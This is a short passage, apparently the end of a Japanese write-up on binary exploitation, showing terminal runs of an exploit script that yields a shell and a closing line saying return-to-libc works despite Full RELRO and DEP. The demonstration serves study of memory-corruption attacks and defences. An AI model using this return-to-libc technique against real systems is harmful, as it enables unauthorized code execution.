$ python exploit2.py 0xbffff694 0xd8 0xb7e2c000 9
[+] buf = 0xbffff624
(snip)

$ python exploit2.py 0xbffff624 0xd8 0xb7e2c000 9
[+] buf = 0xbffff624
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

Full RELROかつDEPが有効でも、Return-to-libcによりシェルが起動できることが確認できた。

関連リンク